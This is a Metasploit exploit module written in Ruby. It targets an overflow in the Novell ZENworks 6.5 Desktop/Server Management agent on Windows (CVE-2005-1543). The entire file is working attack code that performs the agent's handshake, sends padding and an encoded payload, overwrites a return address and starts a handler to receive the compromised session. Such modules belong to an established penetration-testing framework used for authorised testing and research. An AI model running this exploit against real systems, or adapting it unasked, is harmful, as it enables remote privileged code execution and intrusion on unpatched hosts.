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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Novell ZENworks 6.5 Desktop/Server Management Overflow',
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      'Description'    => %q{
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          This module exploits a heap overflow in the Novell ZENworks
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        Desktop Management agent. This vulnerability was discovered
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        by Alex Wheeler.
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      },
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      'Author'         => [ 'Unknown' ],
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      'License'        => BSD_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-1543'],
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          [ 'OSVDB', '16698'],
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          [ 'BID', '13678'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 32767,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'      => %w{ win },
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      'Targets'        =>
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        [
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          [
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            'Windows XP/2000/2003- ZENworks 6.5 Desktop/Server Agent',
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            {
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              'Platform' => 'win',
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              'Ret'      => 0x10002e06,
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            },
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          ],
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        ],
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      'DisclosureDate' => '2005-05-19',
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      'DefaultTarget' => 0))
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  end
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  def exploit
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    connect
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    hello = "\x00\x06\x05\x01\x10\xe6\x01\x00\x34\x5a\xf4\x77\x80\x95\xf8\x77"
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    print_status("Sending version identification")
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    sock.put(hello)
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    pad   = Rex::Text.rand_text_alphanumeric(6, payload_badchars)
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    ident = sock.get_once
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    if !(ident and ident.length == 16)
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      print_error("Failed to receive agent version identification")
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      return
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    end
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    print_status("Received agent version identification")
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    print_status("Sending client acknowledgement")
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    sock.put("\x00\x01")
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    # Stack buffer overflow in ZenRem32.exe / ZENworks Server Management
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    sock.put("\x00\x06#{pad}\x00\x06#{pad}\x7f\xff" + payload.encoded + "\x00\x01")
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    ack = sock.get_once
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    sock.put("\x00\x01")
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    sock.put("\x00\x02")
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    print_status("Sending final payload")
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    sock.put("\x00\x24" + ("A" * 0x20) + [ target.ret ].pack('V'))
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    print_status("Overflow request sent, sleeping for four seconds")
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    select(nil,nil,nil,4)
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    handler
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    disconnect
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  end
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end
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